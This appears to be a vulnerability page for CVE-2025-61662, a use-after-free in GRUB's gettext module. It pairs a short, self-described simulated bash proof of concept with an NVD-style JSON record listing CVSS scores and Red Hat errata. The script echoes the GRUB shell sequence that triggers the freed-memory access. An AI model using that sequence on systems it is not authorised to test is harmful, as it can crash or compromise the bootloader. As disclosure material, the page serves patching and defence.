CVE-2025-61662

#!/bin/bash # CVE-2025-61662 PoC - GRUB gettext module Use-After-Free # This PoC demonstrates the vulnerability concept # Note: Actual exploitation requires physical or privileged access to GRUB environment # Step 1: Identify vulnerable GRUB configuration echo '[*] Checking GRUB version and module status...' grub-install --version 2>/dev/null || echo '[-] GRUB not found' # Step 2: Check if gettext module is loaded echo '[*] Attempting to trigger gettext module unload...' # In actual attack scenario, this would be done through GRUB shell: # insmod gettext # unload # gettext "test" # Step 3: Trigger the orphaned command access # The vulnerable condition occurs when: # - gettext module is loaded and unloaded # - Command registry still holds reference to gettext command # - Subsequent call to 'gettext' command accesses freed memory echo '[!] Simulated PoC - Requires GRUB shell access' echo '[!] Attack sequence:' echo ' 1. insmod gettext' echo ' 2. unload (or module auto-unload)' echo ' 3. gettext "any_string" -> triggers UAF' # Step 4: Monitor for crash indicators dmesg | grep -i grub || echo '[-] No GRUB crash detected'

{"cve": {"id": "CVE-2025-61662", "sourceIdentifier": "[email protected]", "published": "2025-11-18T19:15:50.203", "lastModified": "2026-05-20T17:16:18.327", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Use-After-Free vulnerability has been discovered in GRUB's gettext module. This flaw stems from a programming error where the gettext command remains registered in memory after its module is unloaded. An attacker can exploit this condition by invoking the orphaned command, causing the application to access a memory location that is no longer valid. An attacker could exploit this vulnerability to cause grub to crash, leading to a Denial of Service. Possible data integrity or confidentiality compromise is not discarded."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnu:grub2:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.14", "matchCriteriaId": "AD17D113-F170-45B5-A01F-109481F561EB"}]}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:10097", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:14773", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:15087", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:17596", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:4648", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:4649", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:4652", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:4653", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:4654", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:4760", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:4822", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:4823", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:4830", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:4900", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:4998", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:5074", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:5127", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:5233", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:6492", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:7239", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:7243", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2025-61662", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2414683", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}, {"url": "https://lists.gnu.org/archive/html/grub-devel/2025-11/msg00155.html", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2025/11/18/5", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Patch"]}]}}